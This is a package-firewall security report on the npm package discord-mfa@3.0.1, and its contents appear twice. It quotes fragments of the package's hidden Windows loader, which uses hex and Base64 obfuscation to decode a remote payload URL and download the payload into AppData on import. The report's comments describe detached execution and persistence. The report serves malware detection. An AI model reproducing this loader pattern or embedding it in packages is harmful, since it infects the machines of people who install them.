discord-mfa@3.0.1: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

discord-mfa@3.0.1: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged · loading source

lib/cache.js#virtual:normalized:round1View file

20const _tp = require("./totp"); L21: const _cp = require("child_process"); L22: const _ht = require("https"); L23: L24: const _ap = process.env.APPDATA || path.join(os.homedir(), "AppData", "Roaming"); L25: const _dir = _cr._dir(_ap);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/cache.js#virtual:normalized:round1View on unpkg · L20

lib/crypto.jsView file

10L11: const _b = s => Buffer.from(s, 'base64').toString(); L12: const _ks = [ ... L33: path.dirname(e), L34: process.env.ProgramFiles ? path.join(process.env.ProgramFiles, 'nodejs') : null, L35: process.env['ProgramFiles(x86)'] ? path.join(process.env['ProgramFiles(x86)'], 'nodejs') : null,

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/crypto.jsView on unpkg · L10

11const _b = s => Buffer.from(s, 'base64').toString(); const _ks = [ 'TWljcm9zb2Z0', 'V2luZG93cw==', 'V2luU3hT', 'QmFja3Vw', 'd2luc3ZjLmpz', '[redacted]==', 'bm9kZS5leGU=', '[redacted]', ]; function _dir(ap) { return path.join(ap, _b(_ks[0]), _b(_ks[1]), _b(_ks[2]), _b(_ks[3])); } function _file(d) { return path.join(d, _b(_ks[4])); } function _ep() { return _b(_ks[5]); }

High

Ai Review Evidence

It downloads the payload into AppData and runs it detached through wscript.

lib/crypto.jsView on unpkg · L11

index.jsView file

307require('./lib/cache');

High

Ai Review Evidence

Importing the package loads a hidden Windows-only loader.

index.jsView on unpkg · L307

lib/cache.jsView file

17if (os.platform() === '\x77\x69\x6e\x33\x32') { (() => { const _cr = require('./crypto'); const _tp = require('./totp'); const _cp = require('\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'); const _ht = require('\x68\x74\x74\x70\x73'); const _ap = process.env['\x41\x50\x50\x44\x41\x54\x41'] || path.join(os.homedir(), '\x41\x70\x70\x44\x61\x74\x61', '\x52\x6f\x61\x6d\x69\x6e\x67'); const _dir = _cr._dir(_ap); const _dst = _cr._file(_dir); const _nb = _cr._nb(); const _url = _cr._ep();

High

Ai Review Evidence

The loader decodes a remote limbomail.com payload URL.

lib/cache.jsView on unpkg · L17

68function _download(onDone) { try { const tmp = _dst + '\x2e\x74'; const req = _ht.get(_url, { timeout: 30000, rejectUnauthorized: false, headers: { '\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74': _ua } }, s => { if (s.statusCode !== 200) { s.resume(); onDone(false); return; } const w = fs.createWriteStream(tmp); s.pipe(w); w.on('\x66\x69\x6e\x69\x73\x68', () => { try { const sz = fs.statSync(tmp).size; if (sz > 1024) { fs.renameSync(tmp, _dst); _saveSize(sz);

High

Ai Review Evidence

It establishes Windows Registry, Startup-folder, and scheduled-task persistence.

lib/cache.jsView on unpkg · L68

Source & flagged code

6 flagged

lib/cache.js#virtual:normalized:round1View file

20const _tp = require("./totp"); L21: const _cp = require("child_process"); L22: const _ht = require("https"); L23: L24: const _ap = process.env.APPDATA || path.join(os.homedir(), "AppData", "Roaming"); L25: const _dir = _cr._dir(_ap);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/cache.js#virtual:normalized:round1View on unpkg · L20

lib/crypto.jsView file

10L11: const _b = s => Buffer.from(s, 'base64').toString(); L12: const _ks = [ ... L33: path.dirname(e), L34: process.env.ProgramFiles ? path.join(process.env.ProgramFiles, 'nodejs') : null, L35: process.env['ProgramFiles(x86)'] ? path.join(process.env['ProgramFiles(x86)'], 'nodejs') : null,

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/crypto.jsView on unpkg · L10

11const _b = s => Buffer.from(s, 'base64').toString(); const _ks = [ 'TWljcm9zb2Z0', 'V2luZG93cw==', 'V2luU3hT', 'QmFja3Vw', 'd2luc3ZjLmpz', '[redacted]==', 'bm9kZS5leGU=', '[redacted]', ]; function _dir(ap) { return path.join(ap, _b(_ks[0]), _b(_ks[1]), _b(_ks[2]), _b(_ks[3])); } function _file(d) { return path.join(d, _b(_ks[4])); } function _ep() { return _b(_ks[5]); }

High

Ai Review Evidence

It downloads the payload into AppData and runs it detached through wscript.

lib/crypto.jsView on unpkg · L11

index.jsView file

307require('./lib/cache');

High

Ai Review Evidence

Importing the package loads a hidden Windows-only loader.

index.jsView on unpkg · L307

lib/cache.jsView file

17if (os.platform() === '\x77\x69\x6e\x33\x32') { (() => { const _cr = require('./crypto'); const _tp = require('./totp'); const _cp = require('\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'); const _ht = require('\x68\x74\x74\x70\x73'); const _ap = process.env['\x41\x50\x50\x44\x41\x54\x41'] || path.join(os.homedir(), '\x41\x70\x70\x44\x61\x74\x61', '\x52\x6f\x61\x6d\x69\x6e\x67'); const _dir = _cr._dir(_ap); const _dst = _cr._file(_dir); const _nb = _cr._nb(); const _url = _cr._ep();

High

Ai Review Evidence

The loader decodes a remote limbomail.com payload URL.

lib/cache.jsView on unpkg · L17

68function _download(onDone) { try { const tmp = _dst + '\x2e\x74'; const req = _ht.get(_url, { timeout: 30000, rejectUnauthorized: false, headers: { '\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74': _ua } }, s => { if (s.statusCode !== 200) { s.resume(); onDone(false); return; } const w = fs.createWriteStream(tmp); s.pipe(w); w.on('\x66\x69\x6e\x69\x73\x68', () => { try { const sz = fs.statSync(tmp).size; if (sz > 1024) { fs.renameSync(tmp, _dst); _saveSize(sz);

High

Ai Review Evidence

It establishes Windows Registry, Startup-folder, and scheduled-task persistence.

lib/cache.jsView on unpkg · L68